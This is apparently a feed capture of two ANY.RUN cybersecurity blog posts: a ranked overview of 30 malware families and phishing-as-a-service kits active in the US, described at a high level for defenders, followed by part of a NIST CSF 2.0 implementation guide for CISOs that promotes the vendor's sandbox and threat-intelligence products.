The post ​​Kratos PhaaS Targets US and EU: How to Reduce Microsoft 365 Account Takeover Risk​ appeared first on ANY.RUN's Cybersecurity Blog.

American organizations are processing more malware submissions than ever, and the mix keeps shifting under their feet. Phishing kits that hijack multi-factor authentication now sit alongside decades-old ransomware, commodity RATs sold for the price of a streaming subscription, and loaders built to slip payloads past EDR undetected.

For CISOs and SOC leaders, the challenge isn’t a lack of data — it’s knowing which of the hundreds of active families deserve budget, detection engineering time, and executive attention this month, not last quarter. 

This breakdown is built on real-time data from ANY.RUN’s Malware Trends Tracker (MTT), which ranks malware families by actual analysis volume rather than vendor surveys or annual retrospectives. The result is a live snapshot of what’s actually landing in American inboxes and endpoints right now. 

Key Takeaways

• MFA alone no longer stops account takeover. Five of the top ten US threats this month are phishing kits built specifically to steal session cookies or OAuth tokens after MFA succeeds, not to guess passwords.
• Device-code phishing is the newest board-level risk. Kali365 and EvilTokens abuse Microsoft’s legitimate device-authorization flow, meaning victims complete a real login on a real Microsoft page while attackers walk away with a valid token.
• “Retired” malware isn’t retired. WannaCry and Emotet still show active monthly volume years after their most infamous incidents — a direct signal that legacy, unpatched exposure remains live exposure.
• Commodity doesn’t mean low-risk. Cheap, widely available stealers and RATs (AsyncRAT, Vidar, XWorm, Stealc, RedLine, Formbook) account for a large share of monthly volume precisely because low cost keeps them in constant circulation.
• Law enforcement takedowns shift the market, they don’t shrink it. RedLine, Lumma, and the AiTM phishing ecosystem all show the same pattern: disrupt one operator, and a successor (Remus Stealer, FlowerStorm) absorbs the demand within weeks.
• Some detections are early ransomware warnings, not isolated events. Cobalt Strike beacons, Qbot infections, and DonutLoader activity have historically preceded ransomware deployment — treating them as urgent, not routine, is a high-leverage SOC decision.
• Live, region-specific data beats annual retrospectives. Pairing Threat Intelligence Lookup for instant indicator-to-campaign context with Threat Intelligence Feeds for continuously updated blocklists lets security teams act on what’s happening in the US right now, rather than reacting to what already happened last quarter.

Biggest Malware Threats in America 

Three patterns stand out in the current US ranking. First, phishing-as-a-service (PhaaS) kits — Sneaky 2FA, EvilTokens, EvilProxy, Kali365, FlowerStorm, Tycoon 2FA — now occupy five of the top ten spots, a sign that credential and session-token theft has overtaken malware delivery as the fastest path into a corporate network.

Second, commodity RATs and stealers (AsyncRAT, Vidar, XWorm, Stealc, RedLine, Lumma) remain in constant, high-volume circulation because they’re cheap, effective, and endlessly repackaged.

Third, “retired” threats never really retire: Emotet and WannaCry both still register meaningful monthly activity years after their headline-grabbing debuts, a reminder that legacy exposure is still active exposure. 

US Phishing Attack Trends 

Phishing has changed its shape. The kits topping this month’s US data don’t rely on misspelled domains or obvious fake login pages — they abuse legitimate authentication flows. Kali365 and EvilTokens exploit Microsoft’s device-code authorization flow to capture OAuth tokens after a victim completes real MFA on Microsoft’s real infrastructure.

Sneaky 2FA, EvilProxy, Tycoon 2FA, and FlowerStorm run adversary-in-the-middle (AiTM) reverse proxies that harvest session cookies the instant a user logs in. In every case, the defender-facing lesson is the same: credential hygiene and MFA prompts alone no longer stop account takeover. Security teams need visibility into session and token abuse, not just password exposure.

What Is ANY.RUN’s Malware Trends Tracker? 

Malware Trends Tracker (MTT) is ANY.RUN’s free, continuously updated service that tracks the popularity and behavior of malware families in the wild. It draws its data directly from ANY.RUN’s Interactive Sandbox, where a global community of analysts submits and detonates suspicious files and URLs every day. Every submission that returns a malicious or suspicious verdict feeds into MTT’s rankings, giving the tracker a real-time pulse on what threat actors are actually deploying. 

Analysts can filter by country, malware type (phishing kit, RAT, stealer, ransomware, loader, botnet, and more), and specific family, which is what makes it possible to isolate a view like “the 30 most active threats hitting the United States in the last 30 days.” That granularity turns raw sandbox telemetry into something SOC teams and business leaders can act on: proactive blocklist updates, sharper detection rules, and threat modeling grounded in what’s actually happening in their region rather than global averages that may not reflect their exposure. 

How ANY.RUN Helps You Detect and Understand Threats 

Knowing which malware families are trending in the US is only half the equation. The other half is being able to move fast when one of them shows up in your environment — and to understand the broader campaign behind it before it becomes an incident. 

Interactive Sandbox lets analysts detonate suspicious files, links, and phishing pages in a live, controllable Windows or Linux environment and interact with the sample in real time — clicking through a device-code prompt, entering credentials into a decoy page, or letting a loader unpack its next stage. 

For threats like Kali365 and EvilTokens, which hide their real payload behind browser-side JavaScript that only executes after the page renders, this in-browser visibility is often the only way to see the actual attack flow rather than a static, incomplete one. Every session automatically surfaces network indicators, a MITRE ATT&CK-mapped process tree, and a shareable report — cutting analysis time from hours to minutes. 

Once a threat is confirmed, Threat Intelligence Lookup lets teams pivot instantly from a single indicator — a hash, domain, IP, or even a YARA/Sigma rule — to the full universe of related sandbox sessions, infrastructure, and campaign context drawn from millions of public and private analyses.  

For teams that want threats blocked before they reach an inbox or endpoint, Threat Intelligence Feeds deliver continuously updated, high-confidence IOCs — IPs, domains, URLs — for actively tracked families like the ones below, in STIX/TAXII, CSV, or JSON formats that plug directly into SIEMs, firewalls, EDR, and SOAR platforms.  

Together, these three capabilities cover the full loop: spot what’s trending with MTT, understand exactly how it works with Interactive Sandbox, and get ahead of it with TI Lookup and TI Feeds. 

Top 30 Threats in the US: Last Month’s Data 

1. Sneaky 2FA 

Sneaky 2FA is a phishing-as-a-service (PhaaS) kit that runs adversary-in-the-middle (AiTM) attacks against Microsoft 365 accounts, relaying real login traffic through a reverse proxy to capture credentials and session cookies in real time. It primarily targets any organization running Microsoft 365, with no particular industry spared.  

The kit is most notable for auto-filling the victim’s email address to boost credibility and for anti-bot checks that block security researchers and sandboxes from inspecting its pages. For businesses, it’s dangerous because it defeats standard MFA outright, handing attackers a live, authenticated session rather than just a stolen password. 

2. AsyncRAT 

AsyncRAT is an open-source remote access trojan (RAT) written in C#, originally published on GitHub as a legitimate remote administration tool before criminals repurposed it. It’s used indiscriminately across industries because it’s free, well-documented, and easy for low-skill actors to customize.  

AsyncRAT is most notable for its plugin-based architecture supporting keylogging, screen capture, and credential theft, plus its constant presence in phishing and malicious-script delivery chains. It’s dangerous for businesses because its ubiquity and endless minor variants make signature-based detection unreliable, and it often serves as the first foothold before a bigger compromise. 

3. EvilTokens 

EvilTokens is a phishing-as-a-service platform that abuses Microsoft’s legitimate OAuth 2.0 device-authorization flow to steal access tokens after a victim completes a real MFA challenge on Microsoft’s genuine login page — no fake login page, no stolen password. It concentrates heavily on finance, technology, manufacturing, education, and consulting firms running Microsoft 365.  

The kit is most notable for hiding its phishing payload inside AES-GCM-encrypted content that only decrypts in the browser, defeating static analysis, and for AI-assisted business email compromise (BEC) tooling built into its affiliate panel. That combination makes it a serious business risk: a single compromised inbox can cascade into fraud, data theft, and lateral movement across connected services. 

4. EvilProxy 

EvilProxy is a long-running adversary-in-the-middle phishing-as-a-service platform that lets affiliates rent turnkey reverse-proxy infrastructure to target Microsoft 365, Google Workspace, GitHub, and other MFA-protected services. It’s used broadly across finance, SaaS, and enterprise IT environments, wherever cloud account access has resale value to attackers.  

EvilProxy is most notable for popularizing the AiTM-as-a-service model years before its successors, effectively lowering the skill floor for MFA-bypass attacks industry-wide. For businesses, the danger is scale: a single subscription-based kit can power thousands of parallel campaigns against different targets simultaneously. 

5. Kali365 

Kali365 is an FBI-flagged phishing-as-a-service platform, first observed in April 2026, that steals Microsoft 365 OAuth tokens by abusing the legitimate device-code authentication flow rather than harvesting passwords. It targets any organization running Microsoft 365, with confirmed campaigns spanning finance, professional services, and general enterprise targets across North America.  

The kit is most notable for AI-generated phishing lures localized into 15 languages and for post-compromise automation that silently creates malicious inbox rules to suppress security warnings. It’s especially dangerous for business because it persists even through password resets — only session and token revocation stops it — and it enables direct fraud through compromised executive and finance mailboxes. 

6. Vidar 

Vidar is a malware-as-a-service (MaaS) information stealer that harvests browser-stored passwords, cookies, autofill data, cryptocurrency wallets, and two-factor authenticator data from infected machines. It’s distributed broadly via malvertising and cracked-software downloads, hitting individuals and businesses across every sector without a specific industry focus.  

Vidar is most notable for its resilient command-and-control model, using legitimate platforms like Telegram and Steam profiles as dead-drop resolvers to locate its real servers. For businesses, stolen credentials and session cookies from Vidar routinely end up feeding follow-on attacks, including corporate account takeover and access broker sales to ransomware affiliates. 

7. XWorm 

XWorm is a modular remote access trojan sold on underground forums, giving buyers remote desktop control, keylogging, webcam access, and an optional ransomware module in a single package. It spreads across industries through phishing attachments and loader chains, with no strong sector preference.  

XWorm is most notable for its low cost and active developer support, which keeps new builds circulating faster than signatures can keep up. The danger for businesses lies in its versatility — the same infection can pivot from espionage to data theft to on-demand file encryption depending on what the operator decides mid-campaign. 

8. Stealc 

Stealc is a malware-as-a-service info-stealer modeled closely on Vidar and Raccoon, built to harvest browser credentials, cryptocurrency wallets, and email client data at high volume and low cost to affiliates. It’s distributed indiscriminately, often bundled with cracked software and fake installers, touching businesses in every vertical whose employees browse from work devices.  

Stealc is most notable for rapidly filling the gap left when older stealer services shut down, thanks to aggressive underground marketing and frequent updates. For businesses, the risk is straightforward but severe: any employee credential harvested by Stealc can become the entry point for a much larger corporate breach. 

9. FlowerStorm 

FlowerStorm is an adversary-in-the-middle phishing kit that emerged to fill the gap left after a major AiTM phishing service was disrupted, and it now runs a similar reverse-proxy model against Microsoft 365 logins. It targets any organization dependent on Microsoft cloud services, with no specific industry exclusions.  

FlowerStorm is most notable for demonstrating how quickly the AiTM phishing ecosystem regenerates after takedowns — new kits absorb displaced affiliates within weeks. That resilience is exactly why it’s dangerous for business: disrupting one phishing-as-a-service operator rarely reduces the total volume of MFA-bypass attacks in the wild for long.  

10. Emotet 

Emotet began as a banking trojan and evolved into one of the most notorious malware-delivery botnets in history, spreading through malicious Office macros and acting as an initial-access broker for ransomware groups. It has hit organizations across finance, healthcare, government, and virtually every other sector over its long operational history.  

Emotet is most notable for surviving multiple law enforcement takedowns and re-emerging each time with updated delivery mechanics. For businesses, its danger isn’t just the initial infection — it’s what follows, since Emotet infections have historically preceded costly ransomware deployments from groups like Ryuk and Conti. 

11. Tycoon 2FA 

Tycoon 2FA is a phishing-as-a-service platform running adversary-in-the-middle attacks against Microsoft 365 and Gmail accounts, using a reverse proxy to relay real authentication traffic and steal session cookies. It’s rented broadly by criminal affiliates and used against organizations across virtually every industry with cloud email.  

The kit is most notable for its layered anti-detection measures, including Cloudflare Turnstile challenges designed to block security scanners from analyzing its phishing pages. Businesses should treat it as dangerous precisely because it targets the authentication layer itself — once a session cookie is stolen, MFA has already done its job and can’t stop the takeover. 

12. Remcos 

Remcos is marketed as a legitimate remote administration tool but is overwhelmingly deployed as a remote access trojan, giving attackers keylogging, screen capture, webcam and microphone access, and full remote control of infected machines. It spreads across industries via phishing email attachments, with no specific sector focus.

Remcos is most notable for its long shelf life and commercial-grade polish, since it’s sold openly rather than traded exclusively on criminal forums. For businesses, its full surveillance capability makes it a serious espionage and data-theft risk, particularly when it lands on machines used by finance or executive staff.

13. Agent Tesla

Agent Tesla is a .NET-based keylogger, RAT, and information stealer distributed almost entirely through phishing email attachments disguised as invoices, orders, or shipping documents. It targets businesses across manufacturing, logistics, and professional services especially heavily, wherever document-based phishing lures land convincingly.

Agent Tesla is most notable for exfiltrating stolen data over unconventional channels like SMTP, FTP, and Telegram bots, making network-based detection harder. The danger for business is its sheer popularity among low-skill actors, which keeps a constant, high-volume stream of Agent Tesla phishing campaigns hitting corporate inboxes.

14. DCRat

DCRat is a modular remote access trojan sold cheaply on underground forums, with a plugin architecture that lets buyers add keylogging, ransomware, or DDoS capability on top of core remote control. It’s used opportunistically across industries, largely wherever phishing or loader-based delivery succeeds.

DCRat is most notable for its unusually low price point, which puts sophisticated RAT capability within reach of nearly any aspiring cybercriminal. For businesses, that accessibility is the real danger — DCRat infections can escalate in unpredictable directions depending on which plugins the operator chooses to load.

15. WannaCry

WannaCry is the ransomware worm that triggered a global outage in 2017 by self-propagating through the EternalBlue SMB vulnerability, encrypting files across entire networks without any user interaction. It disproportionately still resurfaces in healthcare, manufacturing, and other sectors running legacy or unpatched Windows systems.

WannaCry is most notable for demonstrating how a single unpatched vulnerability can cause damage at a genuinely global scale within hours. Its continued presence in current sandbox data is a stark business risk indicator: any organization still detonating WannaCry samples almost certainly has unpatched systems exposed to far newer threats as well.

16. RedLine

RedLine is a malware-as-a-service info-stealer that harvests browser credentials, cryptocurrency wallets, VPN and FTP logins, and system information, sold cheaply to a wide base of criminal affiliates. It spreads through cracked software and malvertising, hitting businesses across every sector with no particular targeting.

RedLine is most notable for having been one of the most widely deployed stealers on the market before a major law enforcement disruption in 2024, and for the fact that variants and rebrands are still circulating despite that action. For businesses, RedLine’s harvested credentials frequently surface later in initial access broker marketplaces, feeding ransomware intrusions well after the original infection.

17. DonutLoader

DonutLoader is an open-source, publicly available in-memory loader that converts executables, DLLs, and .NET assemblies into position-independent shellcode, letting attackers run payloads filelessly inside trusted processes. It’s used across the board — ransomware crews, APT groups, and commodity malware operators alike — because it’s free and effective.

DonutLoader is most notable for defeating signature-based detection almost entirely by never writing a payload to disk, and it’s officially tracked under MITRE ATT&CK as S0695. That makes it dangerous for businesses in a very direct way: infections built on DonutLoader can sit undetected for hours or days while EDR tools look for artifacts that simply never touch the disk.

18. QuasarRAT

QuasarRAT is an open-source .NET remote access trojan published on GitHub as a legitimate administration tool, now widely repurposed by criminal and state-linked actors alike. It shows up across virtually every industry because its source code is freely available and easy to rebrand.

QuasarRAT is most notable for serving as base code for numerous other RAT families and APT toolsets, making it a kind of foundational threat rather than a single standalone one. For businesses, that reuse means a QuasarRAT detection can indicate anything from a low-skill opportunistic attacker to a more targeted intrusion using a modified variant.

19. Qbot

Qbot (Qakbot) is a banking trojan and loader with a long history of serving as an initial-access foothold for ransomware groups including Conti and Black Basta. It has hit finance, professional services, and manufacturing organizations particularly hard over the years.

Qbot is most notable for surviving a major FBI-led infrastructure takedown in 2023 only to resurface with updated delivery chains months later. The business danger here is what Qbot represents rather than what it does alone — its presence has historically been a leading indicator of an imminent, much more damaging ransomware event.

20. Smoke Loader

Smoke Loader is a modular downloader and backdoor that’s been circulating since 2011, used primarily to deliver second-stage payloads like stealers, banking trojans, and ransomware onto infected machines. It spreads through phishing and exploit kits across a broad range of industries.

Smoke Loader is most notable for its longevity and plugin-based flexibility, letting operators swap in new capabilities without rebuilding the core malware. For businesses, its main danger is as a delivery mechanism — a Smoke Loader detection rarely means the attack is over, since the actual damaging payload usually arrives afterward.

21. LokiBot

LokiBot is a commodity information stealer and keylogger that targets browser credentials, email clients, FTP logins, and cryptocurrency wallets, typically delivered via phishing documents exploiting older Office vulnerabilities. It’s spread broadly across industries with minimal targeting discrimination.

LokiBot is most notable for its remarkable staying power despite being a known, well-signatured threat for years, largely due to constant minor code changes that dodge static detection. The business risk is less about sophistication and more about volume: LokiBot’s sheer prevalence means unpatched systems remain a constant, low-effort target for opportunistic attackers.

22. Lumma

Lumma is a subscription-based malware-as-a-service info-stealer that harvests browser credentials, cryptocurrency wallets, and two-factor authentication extension data, and was one of the most dominant stealers on the market before a major 2025 law enforcement and Microsoft-led disruption. It hit businesses across every sector indiscriminately through malvertising and cracked-software lures.

Lumma is most notable for spawning Remus Stealer as a direct technical successor after its core infrastructure was disrupted. For businesses, Lumma is a case study in how quickly a disrupted MaaS operation regenerates — the underlying criminal demand didn’t go away, it just migrated to a new codebase.

23. Mirai

Mirai is IoT botnet malware whose source code was leaked publicly in 2016, letting it spawn dozens of variants that infect routers, cameras, and other internet-connected devices using default or weak credentials. It targets any organization with exposed, poorly secured IoT infrastructure rather than a specific industry.

Mirai is most notable for powering some of the largest distributed denial-of-service (DDoS) attacks ever recorded. The danger for business is often indirect but severe: Mirai-infected devices on a corporate network can be weaponized against the business’s own infrastructure or rented out to attack someone else’s, with the compromised organization caught in the middle.

24. NetWire

NetWire is a commercially sold remote access trojan offering keylogging, credential theft, and webcam control across both Windows and Mac systems. It’s used opportunistically across industries wherever phishing delivery succeeds.

NetWire is most notable for having operated semi-openly as a paid product before its alleged operator was arrested in 2023, after which variants continued circulating regardless. For businesses, its cross-platform reach is the key risk factor — NetWire doesn’t spare Mac-heavy environments the way many commodity RATs do.

25. Formbook

Formbook is a cheap, widely available spyware and info-stealer sold as malware-as-a-service, specializing in form-grabbing, keylogging, and credential theft from browsers and email clients. It spreads through phishing campaigns across virtually every industry due to its low cost and ease of use.

Formbook is most notable for its long operational history since 2016 and for its macOS-targeting sibling, XLoader, which extended the same capability to Apple environments. The business danger is its accessibility — Formbook puts credential-stealing capability within reach of almost any attacker with a modest budget, keeping infection volume consistently high.

26. njRAT

njRAT (also known as Bladabindi) is a remote access trojan with roots in Middle Eastern hacking communities, offering remote desktop control, keylogging, webcam access, and USB-based self-propagation. It spreads across industries with no strong sector preference, largely through cracked software and phishing.

njRAT is most notable for its widely available, easy-to-use builder tool, which keeps new variants appearing constantly from low-skill operators. For businesses, that accessibility translates into unpredictable risk — infections range from petty credential theft to more serious espionage depending entirely on who’s behind the keyboard.

27. NanoCore

NanoCore is a plugin-based remote access trojan offering webcam and microphone control, keylogging, and file management, historically sold as a commercial product before its developer was convicted in the US in 2017. It’s used opportunistically across industries via phishing delivery.

NanoCore is most notable for the sheer number of surveillance-focused plugins available to buyers, making it a particularly invasive RAT even by commodity malware standards. The danger for business lies in that surveillance depth — a NanoCore infection can expose far more than credentials, including live audio and video from compromised machines.

28. Gh0st RAT

Gh0st RAT is a remote access trojan of Chinese origin with a long operational history in state-linked and espionage-focused campaigns, offering full remote control, keylogging, and screen capture. It has been used against government, defense, and technology sector targets specifically, alongside broader opportunistic use.

Gh0st RAT is most notable for its persistent association with advanced, targeted intrusions rather than purely commodity cybercrime. For businesses, particularly those in sensitive or regulated sectors, a Gh0st RAT detection warrants treating the incident as a potential targeted intrusion rather than routine opportunistic malware.

29. Remus Stealer

Remus Stealer is a 64-bit information stealer that emerged in early 2026 as a direct evolutionary successor to Lumma Stealer, built to harvest browser credentials, cookies, authentication tokens, and cryptocurrency wallets. It targets financial services, healthcare, government, technology, and managed service providers in particular.

Remus is most notable for using EtherHiding — storing its command-and-control address inside an Ethereum smart contract — to make its infrastructure resistant to takedown, and for stealing active browser session cookies that bypass MFA outright. That session-hijacking capability makes it dangerous for business: it turns a single infected endpoint into a live, authenticated account takeover rather than just a stolen password.

30. Cobalt Strike

Cobalt Strike is a legitimate red-team and penetration-testing framework whose cracked and leaked versions have become one of the most widely abused command-and-control tools in ransomware and APT operations. It’s used across every industry, typically in the later stages of an intrusion rather than as an initial infection vector.

Cobalt Strike is most notable for its “beacon” payload, which enables stealthy lateral movement, privilege escalation, and long-term persistence inside a compromised network. For businesses, seeing Cobalt Strike in an environment is a red flag with real urgency — it frequently signals that attackers already have a foothold and are actively preparing to escalate toward data theft or ransomware deployment.

Most Dangerous US Phishing Campaigns in 2026 

If one theme defines the 2026 US phishing landscape, it’s the shift from stealing passwords to stealing sessions. Kali365 and EvilTokens represent the sharpest edge of this trend: both abuse Microsoft’s legitimate device-code authorization flow, meaning the victim completes a real login on a real Microsoft page, and the attacker walks away with a valid OAuth token instead of a password. Neither kit needs a convincing fake login page, which strips away most of the visual cues employees are trained to spot. The FBI’s public advisory on Kali365 — and the emergence of at least one related operator panel, ARToken, documented by Cisco Talos — underscores how quickly this technique has scaled into a genuine national security concern rather than a niche curiosity. 

Running alongside device-code phishing is the older but still thriving adversary-in-the-middle (AiTM) model, represented in this month’s data by Sneaky 2FA, EvilProxy, Tycoon 2FA, and FlowerStorm. These kits use reverse proxies to sit between the victim and a real login page, capturing the session cookie the instant authentication succeeds.  

The AiTM market has proven remarkably resilient to takedowns: when one operator is disrupted, affiliates simply migrate to the next kit, as FlowerStorm’s emergence demonstrated. For business leaders, the practical implication is that phishing-resistant MFA (hardware security keys, not push notifications or one-time codes) and tighter conditional access policies around device-code flows are now baseline requirements, not advanced hardening.  

Ransomware Attacks Targeting US Companies 

Direct ransomware payloads make up a smaller share of this month’s top 30 than commodity stealers and phishing kits, but the ransomware threat is far from diminished — it’s simply moved earlier in the attack chain. WannaCry remains a persistent reminder that unpatched, legacy-vulnerable systems are still being found and encrypted years after EternalBlue was first weaponized.  

More significantly, several of this month’s top-ranked threats function as the access layer that ransomware operators depend on: Cobalt Strike for post-compromise lateral movement, Qbot and Emotet with their long histories as initial-access brokers for ransomware affiliates, and loaders like DonutLoader and Smoke Loader that quietly stage the next payload without tripping signature-based defenses. 

This is the pattern US businesses need to internalize: by the time a ransom note appears, the actual compromise usually happened days or weeks earlier, through a phishing kit, a stealer, or a RAT that looked like a routine, low-severity incident at the time. Treating detections of Cobalt Strike beacons, Qbot infections, or session-token theft as early ransomware indicators — not isolated events — is one of the highest-leverage shifts a SOC can make in 2026. 

Conclusion 

This month’s US data makes one thing clear: the threats businesses face aren’t a static list to memorize once a year — they’re a moving target that shifts week to week. Phishing-as-a-service kits are getting better at defeating MFA. Decades-old malware like Emotet and WannaCry haven’t disappeared. And the line between “just a stealer infection” and “the opening move of a ransomware attack” keeps getting thinner. 

Staying ahead of that requires the same thing MTT is built to provide: real, current visibility instead of last year’s threat report. Combined with the ability to safely detonate and understand a suspicious file or phishing page the moment it appears, and threat intelligence that turns a single indicator into full campaign context, security teams can move from reacting to these 30 threats to genuinely staying ahead of them. 

About ANY.RUN 

ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, helps organizations investigate threats faster and make response decisions based on clear behavioral evidence. 

Its solutions include the Interactive Sandbox for enterprise-scale malware and phishing analysis, along with Threat Intelligence products built on investigation data from more than 15,000 organizations. This intelligence helps security teams enrich alerts, uncover active threats earlier, and add relevant context to detection, investigation, and response workflows. 

ANY.RUN is SOC 2 Type II attested, demonstrating its commitment to strong security controls and customer data protection. For SOCs, MSSPs, and enterprise security teams, the platform helps reduce investigation uncertainty, accelerate triage, and turn threat analysis into actionable findings. 

The post US Threat Landscape Alert: 30 Active Malware Families Ranked by Real Sandbox Data appeared first on ANY.RUN's Cybersecurity Blog.

NIST CSF 2.0 provides a practical structure for doing that. It helps US organizations understand their current security posture, define clear priorities, and improve how they govern, identify, protect, detect, respond to, and recover from cyber incidents. 

This guide explains how CISOs can apply the updated framework in practice and where ANY.RUN’s Interactive Sandbox and Threat Intelligence solutions can contribute to stronger threat analysis, fastervalidation, and more informed response decisions. 

What Is NIST CSF 2.0? 

NIST Cybersecurity Framework 2.0 is a flexible set of guidelines that helps US organizations manage and reduce cybersecurity risk. 

Rather than prescribing specific technologies or controls, it provides a common structure for understanding the current security posture, identifying gaps, setting priorities, and improving how cybersecurity decisions are made. 

What Changed in NIST CSF 2.0? 

The biggest change in NIST CSF 2.0 is the addition of Govern as a sixth core function, alongside Identify, Protect, Detect, Respond, and Recover. 

This change reflects a broader view of cybersecurity. It is no longer treated only as a technical issue for security teams. CSF 2.0 places greater emphasis on leadership, business priorities, risk ownership, regulatory requirements, and third-party relationships. 

The Govern function covers six key areas: 

• Organizational context 
• Risk management strategy 
• Roles, responsibilities, and authority 
• Cybersecurity policies 
• Review of security performance 
• Cybersecurity supply chain risk management 

In practice, this means CISOs are expected to connect security decisions with the organization’s mission, risk appetite, legal obligations, and business dependencies. It also places clearer responsibility on leadership to provide the right resources, review performance, and adjust the security strategy when risks change. 

Another important update is the stronger focus on suppliers and third parties. US companies are expected to understand which suppliers are critical, assess the risks they introduce, include them in incident planning, and manage those risks throughout the relationship. 

CSF 2.0 is also designed for a wider audience. While the original framework was closely associated with critical infrastructure, the updated version is intended for organizations of any size, sector, or level of security maturity. 

The six functions are now: 

These functions are not six steps that happen one after another. They work together as part of an ongoing cycle. Governance shapes the whole program, while findings from detection, response, and recovery should feed back into risk assessments, policies, and future security priorities.  

NIST CSF 2.0 Requirements: What CISOs Need to Know 

NIST CSF 2.0 does not prescribe a fixed list of technologies or controls that every organization must implement. Instead, it defines cybersecurity outcomes that organizations can adapt to their size, risk profile, regulatory obligations, and business priorities. 

Its requirements may become more specific when the framework is used alongside US federal or state regulations, industry standards, contracts, or internal policies. CISOs should therefore use CSF 2.0 to organize security activities while considering the legal, regulatory, and contractual requirements that apply to their organization.

In practice, implementation means deciding which outcomes are relevant, assessing how well they are currently achieved, assigning responsibility, and creating a plan to address the most important gaps. 

How to Start NIST Cybersecurity Framework 2.0 Implementation 

Implementing CSF 2.0 does not mean rebuilding the entire security program. Most US organizations already have many of the required controls and processes in place. The first step is to understand where the current program falls short and which gaps create the most risk. 

A practical approach is to focus on one critical area, such as phishing response, cloud security, supplier file intake, or incident handling, and move through four steps. 

1. Define the Scope 

Choose the business service, environment, or risk scenario the assessment will cover. A clear scope keeps the project manageable and connects security outcomes with specific assets, teams, and business operations. 

2. Build a Current Profile 

Document how the organization manages the selected risk today, including: 

• Existing controls and processes 
• Responsible teams 
• Available evidence and metrics
• Known weaknesses  
• Supplier or service-provider dependencies 

The goal is to capture what happens in practice, not only what internal policies describe. 

3. Define the Target Profile 

The Target Profile describes the security outcomes the organization needs to achieve. 

Rather than using broad goals such as “improve threat detection,” define specific outcomes. For example: 

• Suspicious files, URLs, and emails are analyzed safely. 
• Analysts receive enough evidence to validate alerts. 
• Threat intelligence is available inside existing SOC workflows. 
• Investigations produce consistent IOCs, TTPs, and reports. 

This is where CISOs can connect CSF outcomes with the capabilities needed to achieve them. For example, ANY.RUN’s Interactive Sandbox and Threat Intelligence solutions can help close gaps in behavioral analysis, threat validation, and investigation context.

4. Prioritize the Most Important Gaps 

Compare the Current and Target Profiles, then rank the gaps based on business impact, likelihood, regulatory requirements, implementation effort, and exposure of critical assets. 

This creates a practical improvement roadmap. It shows where the organization stands, which capabilities are missing, and which investments or process changes should come first. 

NIST CSF 2.0 Best Practices for CISOs 

A successful implementation should reflect the organization’s real risks and operating environment rather than become a checklist exercise. 

Several best practices can make the framework more useful: 

• Start with a critical business service or risk scenario instead of assessing everything at once. 
• Connect each cybersecurity outcome with a clear owner and business reason. 
• Use evidence from incidents, investigations, exercises, and threat intelligence to identify gaps.
• Prioritize improvements based on risk and impact, not only technical severity.  
• Review Current and Target Profiles as threats, technologies, and business priorities change. 

The framework should remain part of an ongoing risk management process. Each investigation, incident, or major change should provide new information that helps the organization adjust its priorities and strengthen the program. 

Applying NIST CSF 2.0 in Practice 

Once the Current and Target Profiles are clear, CISOs can begin mapping priorities to the six CSF functions. The goal is not to treat them as separate projects, but to build a connected program where governance, prevention, detection, response, and recovery support each other. 

Govern: Set the Direction for the Security Program 

The NIST CSF 2.0 Govern function defines how cybersecurity risk is managed across the organization. It connects security priorities with business goals, legal obligations, leadership decisions, and supplier relationships. 

For CISOs, this means deciding: 

• Who owns each risk 
• How risks are prioritized 
• Which policies guide security decisions
• How performance is reviewed  
• Where resources and investment are needed 

Evidence from investigations can make these decisions more grounded. Threat trends, recurring visibility gaps, and analysis activity can reveal where processes are slowing down or where teams lack the capabilities needed to manage risk effectively. 

In this context, ANY.RUN gives leaders operational information they can use when reviewing policies, investment priorities, and the overall performance of the security program. 

Identify: Understand Current Risk and Threat Exposure 

The NIST CSF 2.0 Identify function helps US organizations understand the risks affecting critical assets, services, suppliers, and business operations. 

Threat intelligence plays an important role here. ANY.RUN Threat Intelligence is built on real investigation data from more than 15,000 organizations across different industries. It gives teams visibility into active malware, phishing campaigns, malicious infrastructure, and attacker behavior seen in real-world investigations. 

This allows organizations to: 

• Identify threats relevant to their industry and environment 
• Add current threat context to risk assessments 
• Understand how active campaigns operate 
• Prioritize gaps based on real attacker activity 
• Improve security plans using operational evidence 

The value is not in collecting more indicators. It is in understanding which threats are most relevant to the business and where existing defenses may fall short. 

Protect: Strengthen Safeguards Before an Incident 

The NIST CSF 2.0 Protect function covers the controls that reduce the likelihood of an attack succeeding or limit the damage it can cause. This includes access management, employee training, data protection, secure configurations, and infrastructure resilience. 

For CISOs, the key question is whether these safeguards reflect the organization’s actual risk and threat exposure. 

Findings from malware and phishing investigations can help teams see how attackers bypass filters, abuse legitimate applications, or execute unauthorized software. That evidence can then be used to improve: 

• Blocking and detection logic 
• Security procedures 
• Training for analysts and specialized teams 
• Controls around external files and links 
• Defenses against unauthorized software execution 

This creates a feedback loop where lessons from real threats strengthen preventive controls. 

Detect: Turn Suspicious Activity into Clear Evidence 

The NIST CSF 2.0 Detect function focuses on finding signs of compromise and determining whether they represent a real incident. 

SIEM, EDR, email security, and network monitoring systems may generate the initial alert. The challenge is understanding what the suspicious activity actually does and whether it meets the organization’s incident criteria.

Through the Interactive Sandbox, analysts can safely examine files, URLs, and emails and observe their runtime behavior. Threat Intelligence Lookup adds context around related indicators, infrastructure, and known attacker activity. 

Together, these capabilities help teams: 

• Validate suspicious activity faster 
• Understand malicious behavior and infrastructure 
• Correlate findings from multiple sources 
• Estimate potential impact and scope 
• Escalate confirmed threats with supporting evidence 

This turns an isolated alert into a clearer, evidence-based detection decision. 

Respond: Move From Validation to Action 

The NIST CSF 2.0 Respond function begins once suspicious activity has been confirmed as an incident. Teams must prioritize the case, understand what happened, estimate its scale, and coordinate the next steps. 

Investigation results from ANY.RUN provide the technical evidence needed for these decisions. Analysts can extract IOCs, document behaviors and TTPs, identify related infrastructure, and share findings with the teams responsible for containment. 

The results can support: 

• Incident triage and prioritization 
• Root-cause analysis 
• Escalation with clear evidence 
• Threat hunting across the environment 
• Containment and eradication decisions 
• Coordination between SOC teams and other stakeholders 

Containment still takes place through endpoint, identity, network, and other response systems. The role of ANY.RUN is to give responders the context they need to choose the right action without unnecessary delay. 

Recover: Restore Operations and Learn from the Incident 

The NIST CSF 2.0 Recover function focuses on restoring affected systems and services, verifying that they are safe to return to use, and keeping stakeholders informed. 

For CISOs, this means having clear recovery criteria, prioritizing critical operations, verifying backups and restored assets, and documenting when normal operations can resume. 

Investigation records can help recovery teams understand which files, systems, accounts, or persistence mechanisms require further checks. They can also support post-incident reviews by showing where visibility, escalation, or response processes broke down. 

